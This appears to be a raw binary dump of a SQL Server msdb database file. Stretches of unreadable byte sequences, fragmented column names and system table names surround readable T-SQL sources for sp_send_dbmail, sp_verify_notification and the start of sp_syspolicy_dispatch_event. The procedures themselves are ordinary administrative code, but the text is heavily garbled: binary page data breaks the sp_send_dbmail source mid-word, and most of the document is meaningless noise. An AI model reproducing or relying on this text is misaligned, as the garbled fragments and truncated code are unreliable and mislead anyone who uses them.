!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<.>J@@?%forklsn0@ AUUU@1fragment_size0@@??freq_subday_interval0?@33?%fromsvc0?pA?9has_server_access0B A?id0@A@+importance0@`A?)initiator0AA?%intprop0@@PAff?-is_readonly00AA?#job_id0?@UU?5last_email_time0AA?1last_mod_date0A@@1last_mod_user0@@?3last_poll_date0@@33?7last_run_outcome0?pA?#lgfgid0?@33?!line40@@PAE?#log_id0 A0Ǎ?-mailitem_id0@@?1master_server0@0A?%maxsize0@@@33?%message0@@@+message_id0? A@-min_data_id0 A0A$?'modified0@@?#msgref0,B@?name0?@UU@1next_run_date0@A?Gnotify_email_operator_id0@ A@Enotify_page_operator_id0?0A?-object_type0?0Aq?3operation_code0?0A?ord0@@@Aoriginating_server_id0@@UU?)owner_sid0@ A?3parameter_name0?0Ǎ?#pcused0@ A8?pid0@@?%plan_id0@@A@!pname0@@@?prec0@@UU?'priority0A@?+profile_id0@@?'proxy_id0@A?!query0@ A@;query_result_width0?0A$?1read_only_lsn0@A?+recipients0?A--?/restore_type0?0A?)rowsetnum0?0A?Isaturday_pager_start_time0?0A@!scope0@ A?9send_request_date0@@UU@-sensitivity0?pA@-sequence_id0@@UU@-server_name0@0A0@+service_id0@ A @size0?pA$?5source_nullable0?pA?-src_len_min0@@0Aq?+start_time0hB@@#status0?0A$?7stop_entry_point0A@?!subid0?PA
@1subsystem_dll0?0A$?'symspace0@ A8?5threshold_alert0?pA?Gtransaction_sequence_num0A@@?type0@@PA?)user_name0@PA
@!value0?@Am?7version_comments0?0A?Gweekday_pager_start_time0?@?!xsdid0@@?!xtype((a@account_nametive_end_timestartdatellow_both_nullsutomatic_postcategory_classommandreatedatedatabase_nameelete_historyscriptionemail_addressnabledvent_idflagsreq_intervalsubday_typeom_addressinstance_namejob_idlast_occurrence_timeoghistcompletionlevelmailserver_typeinimum_run_duration_of_name_parametero_credential_changetify_level_eventlogobject_typen_fail_step_idperator_idriginating_serverutput_file_namepager_dayserformance_conditionlanned_outage_end_timerimary_server_nameofile_idxy_idquery_result_no_paddingrequired_microsoft_versionun_statusschedule_idecondary_database_namequence_numberourcetart_run_dateubjectsystem_idyssubsytems_refresh_neededtemp_table_uiduse_default_credentialsweekday_pager_end_timexml_message_bodyagent_exettachment_encodingbackup_sizelind_copy_recipientsXVTDocidUseBaseTode_pagemputeryptodatacodee_modifiedefvaltination_database_namefltschlgopenedencrtypexecutionidfile_attachmentsrst_lsnorkguidragobjidgrantorhdrseclenstance_ids_defaultlast_executed_step_datemod_datetimeuserrun_outcomegnidog_filegroup_guidmailitem_idx_worker_threads_type_idTF_major_versionsclasson_disk_sizerdkeywner_sidparamvaluelanned_outage_weekday_maskrincipal_sidqiduery_result_widthreadonlylsngistered_byowcntsaturday_pager_start_timeecondary_server_namensitivityrvice_contract_idource_file_block_sizerc_len_mintateopwordubplan_idysseqtimeoutuser_defined_2ersion_minorA
@
		#
2?@H	M	S\]
_@ij	v@

	
	
@/0BU
V`
nx	@@	@		%
&01
F	SXYieg	kt
HI#$+
@ST1568
=GH@vwLbhpq
x		
			,@4	
DJKV[c	dm@		
F	
()+#,	2;@AG@hiUH[,@eR?0@\]E?:ZЈ@@}b?T@đ@ ?!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<()Sv=-- sp_send_dbmail : Sends a mail from Yukon outbox.
--
CREATE PROCEDURE [dbo].[sp_send_dbmail]
   @profile_name               sysname    = NULL,        
   @recipients                 VARCHAR(MAX)  = NULL, 
   @copy_recipients            VARCHAR(MAX)  = NULL,
   @blind_copy_recipients      VARCHAR(MAX)  = NULL,
   @subject                    NVARCHAR(255) = NULL,
   @body                       NVARCHAR(MAX) = NULL, 
   @body_format                VARCHAR(20)   = NULL, 
   @importance                 VARCHAR(6)    = 'NORMAL',
   @sensitivity                VARCHAR(12)   = 'NORMAL',
   @file_attachments           NVARCHAR(MAX) = NULL,  
   @query                      NVARCHAR(MAX) = NULL,
   @execute_query_database     sysname       = NULL,  
   @attach_query_result_as_file BIT          = 0,
   @query_attachment_filename  NVARCHAR(260) = NULL,  
   @query_result_header        BIT           = 1,
   @query_result_width         INT           = 256,            
   @query_result_separator     CHAR(1)       = ' ',
   @exclude_query_output       BIT           = 0,
   @append_query_error         BIT           = 0,
   @query_no_truncate          BIT           = 0,
   @query_result_no_padding    BIT           = 0,
   @mailitem_id               INT            = NULL OUTPUT,
   @from_address               VARCHAR(max)  = NULL,
   @reply_to                   VARCHAR(max)  = NULL
  WITH EXECUTE AS 'dbo'
AS
BEGIN
    SET NOCOUNT ON

    -- And make sure ARITHABORT is on. This is the default for yukon DB's
    SET ARITHABORT ON

    --Declare variables used by the procedure internally
    DECLARE @profile_id         INT,
            @temp_table_uid     uniqueidentifier,
            @sendmailxml        VARCHAR(max),
            @CR_str             NVARCHAR(2),
            @localmessage       NVARCHAR(255),
            @QueryResultsExist  INT,
            @AttachmentsExist   INT,
            @RetErrorMsg        NVARCHAR(4000), --Impose a limit on the error message length to avoid memory abuse 
            @rc                 INT,
            @procName           sysname,
            @trancountSave      INT,
            @tranStartedBool    INT,
            @is_sysadmin        BIT,
            @send_request_user  sysname,
            @database_user_id   INT,
            @sid                varbinary(85)

    -- Initialize 
    SELECT  @rc                 = 0,
            @QueryResultsExist  = 0,
            @AttachmentsExist   = 0,
            @temp_table_uid     = NEWID(),
            @procName           = OBJECT_NAME(@@PROCID),
            @tranStartedBool    = 0,
            @trancountSave      = @@TRANCOUNT,
            @sid                = NULL

    EXECUTE AS CALLER
       SELECT @is_sysadmin       = IS_SRVROLEMEMBER('sysadmin'),
              @send_request_user = SUSER_SNAME(),
              @database_user_id  = USER_ID()
    REVERT

    --Check if SSB is enabled in this database
    IF (ISNULL(DATABASEPROPERTYEX(DB_NAME(), N'IsBrokerEnabled'), 0) <> 1)
    BEGIN
       RAISERROR(14650, 16, 1)
       RETURN 1
    END

    --Report error if the mail queue has been stopped. 
    --sysmail_stop_sp/sysmail_start_sp changes the receive status of the SSB queue
    IF NOT EXISTS (SELECT * FROM sys.service_queues WHERE name = N'ExternalMailQueue' AND is_receive_enabled = 1)
    BEGIN
       RAISERROR(14641, 16, 1)
       RETURN 1
    END

    -- Get the relevant profile_id 
    --
    IF (@profile_name IS NULL)
    BEGIN
        -- Use the global or users default if profile name is not supplied
        SELECT TOP (1) @profile_id = pp.profile_id
        FROM msdb.dbo.sysmail_principalprofile as pp
        WHERE (pp.is_default = 1) AND
            (dbo.get_principal_id(pp.principal_sid) = @database_user_id OR pp.principal_sid = 0x00)
        ORDER BY dbo.get_principal_id(pp.principal_sid) DESC

        --Was a profile found
        IF(@profile_id IS NULL)
        BEGIN
            -- Try a profile lookup based on Windows Group membership, if any
            EXEC @rc = msdb.dbo.sp_validate_user @send_request_user, @sid OUTPUT
            IF (@rc = 0)
            BEGIN
                SELECT TOP (1) @profile_id = pp.profile_id
                FROM msdb.dbo.sysmail_principalprofile as pp
                WHERE (pp.is_default = 1) AND
                      (pp.principal_sid = @sid)
                ORDER BY dbo.get_principal_id(pp.principal_sid) DESC
            END

            IF(@profile_id IS NULL)
            BEGIN
                RAISERROR(14636, 16, 1)
                RETURN 1
            END
        END
    END
    ELSE
    BEGIN
        --Get primary account if profile name is supplied
        EXEC @rc = msdb.dbo.sysmail_verify_profile_sp @profile_id = NULL, 
                         @profile_name = @profile_name, 
                         @allow_both_nulls = 0, 
                         @allow_id_name_mismatch = 0,
                         @profileid = @profile_id OUTPUT
        IF (@rc <> 0)
            RETURN @rc

        --Make sure this user has access to the specified profile.
        --sysadmins can send on any profiles
        IF ( @is_sysadmin <> 1)
        BEGIN
            --Not a sysadmin so check users access to profile
            iF NOT EXISTS(SELECT * 
                        FROM msdb.dbo.sysmail_principalprofile 
                        WHERE ((profile_id = @profile_id) AND
                                (dbo.get_principal_id(principal_sid) = @database_user_id OR principal_sid = 0x00)))
            BEGIN
                EXEC msdb.dbo.sp_validate_user @send_request_user, @sid OUTPUT
                IF(@sid IS NULL)
                BEGIN
                    RAISERROR(14607, -1, -1, 'profile')
                    RETURN 1
                END
            END
        END
    END

    --Attach results must be specified
    IF @attach_query_result_as_file IS NULL
    BEGIN
       RAISERROR(14618, 16, 1, 'attach_query_result_as_file')
       RETURN 2
    END

    --No output must be specified
    IF @exclude_query_output IS NULL
    BEGIN
       RAISERROR(14618, 16, 1, 'exclude_query_output')
       RETURN 3
    END

    --No header must be specified
    IF @query_result_header IS NULL
    BEGIN
       RAISERROR(14618, 16, 1, 'query_result_header')
       RETURN 4
    END

    -- Check if query_result_separator is specifed
    IF @query_result_separator IS NULL OR DATALENGTH(@query_result_separator) = 0
    BEGIN
       RAISERROR(14618, 16, 1, 'query_result_separator')
       RETURN 5
    END

    --Echo error must be specified
    IF @append_query_error IS NULL
    BEGIN
       RAISERROR(14618, 16, 1, 'append_query_error')
       RETURN 6
    END

    --@body_format can be TEXT (default) or HTML
    IF (@body_format IS NULL)
    BEGIN
       SET @body_format = 'TEXT'
    END
    ELSE
    BEGIN
       SET @body_format = UPPER(@body_format)

       IF @body_format NOT IN ('TEXT', 'HTML') 
       BEGIN
          RAISERROR(14626, 16, 1, @body_format)
          RETURN 13
       END
    END

    --Importance must be specified
    IF @importance IS NULL
    BEGIN
       RAISERROR(14618, 16, 1, 'importance')
       RETURN 15
    END

    SET @importance = UPPER(@importance)

    --Importance must be one of the predefined values
    IF @importance NOT IN ('LOW', 'NORMAL', 'HIGH')
    BEGIN
       RAISERROR(14622, 16, 1, @importance)
       RETURN 16
    END

    --Sensitivity must be specified
    IF @sensitivity IS NULL
    BEGIN
       RAISERROR(14618, 16, 1, 'sensitivity')
       RETURN 17
    END

    SET @sensitivity = UPPER(@sensitivity)

    --Sensitivity must be one of predefined values
    IF @sensitivity NOT IN ('NORMAL', 'PERSONAL', 'PRIVATE', 'CONFIDENTIAL')
    BEGIN
       RAISERROR(14623, 16, 1, @sensitivity)
       RETURN 18
    END

    --Message body cannot be nu!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`K|IF*\`Ci#\`g]$\`Q%\`rU\`F\`Ci#\`g]$\`Q%\`rUHakHaiMHa2HaGOHaWHaiHakHa(lHa>Ha2HaWHaiHakHa(lHaiHaiHa0)Ha2HaWHaiHa2HaiHa2HaiHa0)Ha2HaWHaiHa	2Ha	iHa
2Ha
iHa2HaiHa2HaiHa
2Ha
iHa2HaiHa2HaiHa2HaiHa2HaiHa2HaiHa2HaiHa2HaiHa2HaGOHaWHaiHaiHa2HaiHa0)Ha2HaWHaiHa2Ha")Haib0)bJbb0)bJbb0)bJbb0)b0)b0)ȃckȃckȃcOjȃc-ȃcQ.ȃc>0ȃcq}_MȃcGOȃcU0QȃcQr`ȃckȃcȃcOjȃc-ȃcQ.ȃc>0ȃcq}_MȃcGOȃcU0QȃcMmȃc<qnȃcOjȃc<qnȃcOjȃc<qnȃc<qnȃc<qnȃcOjȃc<qnȃc<qnȃc	<qnȃc
Ojȃc
<qnȃcOjȃc<qnȃcOjȃc<qnȃc
Ojȃc
<qnȃcOjȃc<qnȃcOjȃc<qnȃcOjȃc<qnȃcȃcOjȃc<qnȃc<qnȃc<qnȃc")ȃc<qnwdkwdkwdkwdkwdk,lesh,le',letOg,lesh,le',letOg,leshe5`fe5`fe5`fe5`fe5`fiXj$k$k>0$kTȚH$kGO$kU0Q$ks	^l`d8lo4<lU0Ql9U2
mt2
mKR[{Mm<qnMmuof{nh f{nKR[{f{n/+oSNqh q+qOqtqLqS@qAq~xq	syqvO|qC}q7~q/+JrJrgwJr	syJr7~0sϓ40s|60sTt0svO|Tt+TtOTtvO|Tt7~xu/+.vgw.gzKR[{KR[{^?KR[{vO|ȃcuoȃcuoȃcuoȃcuoȃc
uoȃcuoȃcuoȃc
uoȃcuoȃcuoȃcuoȃcuoȃcuoȃcpȃcpȃcpȃcpȃcpȃcpȃcpȃcpȃc	pȃc
pȃcpȃcpȃc
pȃcpȃcpȃcpȃcpȃcpȃcpȃcpȃcݜqȃcݜqȃc rȃc r rY&sȃcY&sȃcY&sȃcY&sHaJytHaJytȃcJytȃcJytwdnmuwdnmuwdnmuJytnmuHanmuHanmuwdavwdavwdavJytavHaavHaavwd=Uwwd=Uwwd=UwJyt=UwHa=UwHa=UwHavIxHavIxȃcvIxȃcvIxwd#2zwd#2zwd#2zHa#2zHa#2zwd!H&{wd!H&{Ha!H&{Ha!H&{ȃc~ȃc~-Wnx[-%befc!e
d!e-%b!e
dJEf2
m/PsKoh@Dth@Dtd8uh@Dtڈ,vy=zh@Dt0b{Ko0b{i|}h@Dt}Ko}i|~h@Dt~}~yKoyMKoM=z__2
m_h@Dth@Dt1zKo1z<bucaucaY_g<bhah=yk!Jo=yk!Jo=yk!Jo=yk!Jo=yk!Jo=yk!Jo=yk	!Jo=yk
!Jo=yk!Jo=yk!Jo=yk
!JoswZuswZuswZuswZuswZuswZuswZus	wZus
wZuswZuswZu=yk~u=yk~u=yk~u=yk~u=yk~u=yk~u=yk
~u=yk~u=yk~u=yk
~u=yk~uZ>pvZ>pvZ>pv=yk"w=yk"w=yk"w=yk"w=yk"w=yk[xZ>p[xZ>p[xZ>p[xZ>p[x=yky=yky=yky=yky=ykyZ>p3zZ>p3zZ>p3z=ykX{=ykX{=ykX{=ykX{=ykX{=ykX{=ykX{=ykX{=yk	X{=yk
X{=ykX{=ykX{=yk
X{=ykX{=ykX{=yk?||=yk?||Z>px}Z>px}Z>px}Z>pČ~Z>pČ~=yk=yk=yk=yk=yk=yk#
u=yk#
u=yk#
u=yk#
uqBNdq{rXq&4=yk!=yk!EbEbEb
EbEbEbEbEbEbEbEbEbEb
EbEbEbEbEbEb;dtTB0|<D\J*(~lZ2`V H8v6d$RN@t&|jXF4"







n
\
J
nN<8
\*				Z		r	H`	N	z6<	*	h$		VD2 vdR@.
dR8zhVD2 &@
~~lZH4P6$XF4"jX"b>,p^L:(tbP>,xfTB0|jXF4"rvn\J8&r`$)b	J16(l&,sysalertsdbo6Jyt&,sysalertsdbo6nmu&,sysalertsdbo6av&,sysalertsdbo6=Uw&,sysalertsdbo6vIx&,sysalertsdbo6#2z&,sysalertsdbo6!H&{&,sysalertsdbo60)Xsysalerts_performance_counters_view6JbZ`sysalerts_performance_counters_viewdbo6<Bsyscachedcredentialsdbo6>.4syscategoriesdbo62.4syscategoriesdbo69'.4syscategoriesdbo6-(.4syscategoriesdbo6").4syscategoriesdbo64A*.4syscategoriesdbo6>0.4syscategoriesdbo6q}_M.4syscategoriesdbo6GO.4syscategoriesdbo6U0Q.4syscategoriesdbo62$R.4syscategoriesdbo6Bd.4syscategoriesdbo6tOg.4syscategoriesdbo6i.4syscategoriesdbo6Mm.4syscategoriesdbo6<qn.4syscategoriesdbo6uo.4syscategoriesdbo6o.4syscategoriesdbo6p.4syscategoriesdbo6G-NTsyscollector_collection_itemsdbo6;.NTsyscollector_collection_itemsdbo6~D1NTsyscollector_collection_itemsdbo63NTsyscollector_collection_itemsdbo6)3NTsyscollector_collection_itemsdbo6
B7NTsyscollector_collection_itemsdbo6\Hsyscollector_blobs_internal6]JPsyscollector_blobs_internaldbo6bNTsyscollector_collection_itemsdbo6|.4syscategoriesdbo63}.4syscategoriesdbo.4sysjobhistorydbo6-.4sysjobhistorydbo6Q..4sysjobhistorydbo6;P.4sysjobhistorydbo6-~_.4sysjobhistorydbo6Qr`.4sysjobhistorydbo6=y.4sysjobhistorydbo6^? sysjobs6TȚH sysjobs6N$"(sysjobsdbo6k"(sysjobsdbo6")"(sysjobsdbo6/"(sysjobsdbo6>0"(sysjobsdbo6L:"(sysjobsdbo66@;"(sysjobsdbo6^?"(sysjobsdbo6S@"(sysjobsdbo6.A"(sysjobsdbo6A"(sysjobsdbo6B"(sysjobsdbo6eE"(sysjobsdbo6I"(sysjobsdbo6J"(sysjobsdbo6q}_M"(sysjobsdbo6SN"(sysjobsdbo6GO"(sysjobsdbo6;P"(sysjobsdbo69U"(sysjobsdbo60X"(sysjobsdbo6Qr`"(sysjobsdbo6Bd"(sysjobsdbo6;++f"(sysjobsdbo6&n*sysjobs_view6'*sysjobs_view6,2sysjobs_viewdbo6~.4sysjobhistorydbo65@Fsysdbmaintplan_historydbo65:@sysdbmaintplan_jobsdbo65DJsysdbmaintplan_databasesdbo6528sysdbmaintplansdbo6628sysdbmaintplansdbo6'7:@sysdbmaintplan_jobsdbo6'7DJsysdbmaintplan_databasesdbo6'70sysdbmaintplans6'728sysdbmaintplansdbo67L7Bsysdbmaintplan_databases67L7DJsysdbmaintplan_databasesdbo67L728sysdbmaintplansdbo6pp8DJsysdbmaintplan_databasesdbo69"(sysjobsdbo69:@sysdbmaintplan_jobsdbo6928sysdbmaintplansdbo6:8sysdbmaintplan_jobs6::@sysdbmaintplan_jobsdbo6;:@sysdbmaintplan_jobsdbo6;DJsysdbmaintplan_databasesdbo6;28sysdbmaintplansdbo67\"(sysjobsdbo6X_"(sysjobsdbo6yQX^syscollector_config_store_internaldbo6EX^syscollector_config_store_internaldbo6@9X^syscollector_config_store_internaldbo6y-X^syscollector_config_store_internaldbo6
"X^syscollector_config_store_internaldbo6.X^syscollector_config_store_internaldbo6$S
	X^syscollector_config_store_internaldbo6|^dsyscollector_collection_sets_internaldbo6	*pLRsyscollector_collection_setsdbo6{rX^dsyscollector_collection_sets_internaldbo6@^dsyscollector_collection_sets_internaldbo6@LRsyscollector_collection_setsdbo6&4LRsyscollector_collection_setsdbo6_)^dsyscollector_collection_sets_internaldbo6_)^dsyscollector_collection_sets_internaldbo6_)LRsyscollector_collection_setsdbo6'%"^dsyscollector_collector_types_internaldbo6`I#LRsyscollector_collector_typesdbo6m$^dsyscollector_collector_types_internaldbo6ґ%LRsyscollector_collector_typesdbo6ґ%^dsyscollector_collector_types_internaldbo6&\syscollector_collector_types_internal6aS,`fsyscollector_collection_items_internaldbo6G-\syscollector_collector_types_internal6G-^dsyscollector_collector_types_internaldbo6G-NTsyscollector_collection_itemsdbo6;.NTsyscollector_collection_itemsdbo6~D1NTsyscollector_collection_itemsdbo6D*n*<V&	:>	z	b.^*Z&V"xh<`"#&i(fp`K[KSDefaultAttachmentEncodingMIMEDefault attachment encodingsap`K[/=osMaxFileSize1000000Default maximum file sizesap`K[A]ProhibitedExtensionsexe,dll,vbs,jsExtensions not allowed in outgoing mailssap`K[ACAccountRetryAttempts1Number of retry attempts for a mail serversap`K[;?AccountRetryDelay60Delay between each retry attempt to mail serversap`K[U[DatabaseMailExeMinimumLifeTime600Minimum process lifetime in secondssap`K[13LoggingLevel2Database Mail logging level: normal - 1, extended - 2 (default), verbose - 3sa|F`;
Z&	^8`"
WK~O-</3+3~x3+3O3L3C"63KR[{37~3+3O3L3C"63~x3KR[{37~ϓ454h 4~x4h 4t4C"64~x4/+4h 4t4C"64/+4h 4t4C"64/+|6^?|62$RC"6KR[{C"6KR[{C"6KR[{C"6KR[{R<p7`d8R<p7o4<R<p7I|F7|F7|F7!|F7!`d8TȚHj8z
j8Fj8Ojj8+j8;PaV/8E;aV/8E;aV/8E;aV/8E;aV/8E;aV/8E;aV/8E;aV/8ݳVaV/8ݳVaV/8ݳVR5G=`aV/8i|aV/8i|aV/8i|aV/8i|aV/8i|aV/8_aV/8_aV/8_aV/8_4{rX4{rX4&44&4565
B759b4aT5f=W77Ux977l:77`;
B79{59{`d8|b4c%5c%HxPt>,:(b$fTB06lZ|jXF4"^pLn\J8&r`K$|O1v׌&n0X&nVTY&nuoJb>1oV>1oV/1oVR<p71oVQr`jJ>jJ/jJR<p7jJQr`jJMm>2>i2''N$';PN$N$!N$;Pl!k!FOje!+Pe!+Pe!+Pe!+Pe!d(Qe!d(Q$LR$LR$LRzpSzpSzpSzpSzezezezezezezezez!ez!ez!ez!ez!ez!ez!ez!ez
!ezJEfzJEfzigzigzigzigzigzigzigzhzhzhzhzhzhzhzhz
he!ie!ie!ie!.ֺje!.ֺje!.ֺje!gke!gke!gke!le!le!le!i|e!i|e!i|34Z34Z34Z34Z34Z3434lXZuZuZuZuZPiZPiZPi
^
^
^
^
^
^
^
^	
^

^
^
^

^lXUF|	*p|	*pL@|@|	@BNd@	*p&4@&4|&4|&4|&4|&4|&4|&4|
&4|&4	*p_)|_)|_)''%"''%"''%"''%"''%"''%"''%"'	'%"'
'%"'m$'m$'m$'m$'m$'m$'m$'m$'	m$'ґ%'ґ%'ґ%'ґ%'ґ%'ґ%'ґ%'ґ%'	ґ%'&'&'G-'G-'G-|//|//|//|~D1|~D1|~D1|~D1|3|3|3	*p)3|)3BNd)3	*pb4|b4|b4|
b4|5|5|
5|5	*p6|6|6|6|6	*p
B7|
B7|
B7|
B7BNd
B7|9|9|	9|
9|9|:|:|
:|:|+=E|daF|G|Q|Q|\mS|	\mS	*paT|aT|aT|aT|aT|
aT|aT|-IV|-IV|f=W|f=W|f=W|
f=W|b|b|
d|dP"4^P"4^P"4^mRmRmRmRððmR5mR5ðnmRnmRnA.A.A.A.T:0AT:0nT:0AƂ2AƂ2A3A3A3A3A3A3A34^774^77P"\8P"\8P"Ux9P"Ux9P"l:P"l:P"`;P"`;4^T<4^T<AT<AT<AT<AT<AT<T<T<T<Ar5=>Ar5=>ðY1?4^Y1?4^Y1?AY1?AY1?AY1?AY1?AY1?Y1?Y1?A}%@A}%@ð0KmR.DR.DRXR8SmRv,TmRʚ U4^OY4^OYP"OY4^ tZ4^ tZP" tZP" tZP" tZð?pA?pA?pmR?pmR?pmR?p4^#Ft4^#FtA
A
A
A
A
A
A
A
_<M_<M_<M_<M_<M_<M	`_<M_<M_<M_<M_<M_<M_<M
_<M_<M_<M
_<M_<M_<M_<M_<M_<MDD_<M(_<M(_<M(_<M(_<M(_<M(_<M(_<M
(_<M(_<M(_<M(_<Maw _<Maw _<Maw _<Maw _<Maw _<Maw _<Maw _<Maw _<Mk!_<Mk!_<Mk!_<Mk!_<Mk!_<Mk!_<Mk!_<Mk!k!}7k!_<M`"_<M`"_<M`"_<M
`"_<M5T#_<M5T#_<M5T#////////	/SSSSSSS6x6x	6xoo "	 "D#D#|c%|c%x:Pf(TB0tb>	Fd.TBv:l


	~lp

	zDt
>
	Zpr	2^(
,
`	 
b
B	j*	V~H$L
P

TX		dR@.
t
Rb@Pxf0vn"&n\J8F4jXn\J8&XF~Hl64Z$|"jzhD2 V^L:ZH6$Rz@hN<.VD
2 r*v`d\8J&r`
n(/®ֹp
xU["SMTPsa`
Z(/		f^8`<uEn0Jyt 98CREATE PROCEDURE sp_verify_notification
  @alert_name          sysname,
  @operator_name       sysname,
  @notification_method TINYINT,
  @alert_id            INT OUTPUT,
  @operator_id         INT OUTPUT
AS
BEGIN
  DECLARE @res_valid_range NVARCHAR(100)

  SET NOCOUNT ON

  SELECT @res_valid_range = FORMATMESSAGE(14208)

  -- Remove any leading/trailing spaces from parameters
  SELECT @alert_name    = LTRIM(RTRIM(@alert_name))
  SELECT @operator_name = LTRIM(RTRIM(@operator_name))

  -- Check if the AlertName is valid
  SELECT @alert_id = id
  FROM msdb.dbo.sysalerts
  WHERE (name = @alert_name)

  IF (@alert_id IS NULL)
  BEGIN
    RAISERROR(14262, 16, 1, '@alert_name', @alert_name)
    RETURN(1) -- Failure
  END

  -- Check if the OperatorName is valid
  SELECT @operator_id = id
  FROM msdb.dbo.sysoperators
  WHERE (name = @operator_name)

  IF (@operator_id IS NULL)
  BEGIN
    RAISERROR(14262, 16, 1, '@operator_name', @operator_name)
    RETURN(1) -- Failure
  END

  -- If we're at a TSX, we disallow using operator 'MSXOperator'
  IF (NOT EXISTS (SELECT *
                  FROM msdb.dbo.systargetservers)) AND
     (@operator_name = N'MSXOperator')
  BEGIN
    RAISERROR(14251, -1, -1, @operator_name)
    RETURN(1) -- Failure
  END

  -- Check if the NotificationMethod is valid
  IF ((@notification_method < 1) OR (@notification_method > 7))
  BEGIN
    RAISERROR(14266, 16, 1, '@notification_method', @res_valid_range)
    RETURN(1) -- Failure
  END

  RETURN(0) -- Success
END
0#Ft 8
-- procedure that processes an event and decides 
-- what binding should handle it
CREATE PROCEDURE [dbo].[sp_syspolicy_dispatch_event]  @event_data xml, @synchronous bit
AS
BEGIN
	-- disable these as the caller may not have SHOWPLAN permission
	SET STATISTICS XML OFF
	SET STATISTICS PROFILE OFF

	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

	IF ( @synchronous = 0)
		PRINT CONVERT(nvarchar(max), @event_data)
	DECLARE @event_type sysname
	DECLARE @object_type sysname
	DECLARE @database sysname
	DECLARE @mode int
	DECLARE @filter_expression nvarchar(4000)
	DECLARE @filter_expression_skeleton nvarchar(4000)

    SET @mode = (case @synchronous when 1 then 1 else 2 end)

    -- These settings are necessary to read XML.
    SET ANSI_NULLS ON
    SET ANSI_PADDING ON
    SET ANSI_WARNINGS ON
    SET ARITHABORT ON
    SET CONCAT_NULL_YIELDS_NULL ON
    SET NUMERIC_ROUNDABORT OFF
    SET QUOTED_IDENTIFIER ON

    SET NOCOUNT ON 

    SELECT 
        @event_type = T.c.value('(EventType/text())[1]', 'sysname')
        , @database = T.c.value('(DatabaseName/text())[1]', 'sysname')
        , @object_type = T.c.value('(ObjectType/text())[1]', 'sysname')
    FROM   @event_data.nodes('/EVENT_INSTANCE') T(c)
    
    -- we are going to ignore events that affect subobjects
    IF  (@event_type = N'ALTER_DATABASE' AND 
        1 = @event_data.exist('EVENT_INSTANCE/AlterDatabaseActionList')) OR
        (@event_type = N'ALTER_TABLE' AND 
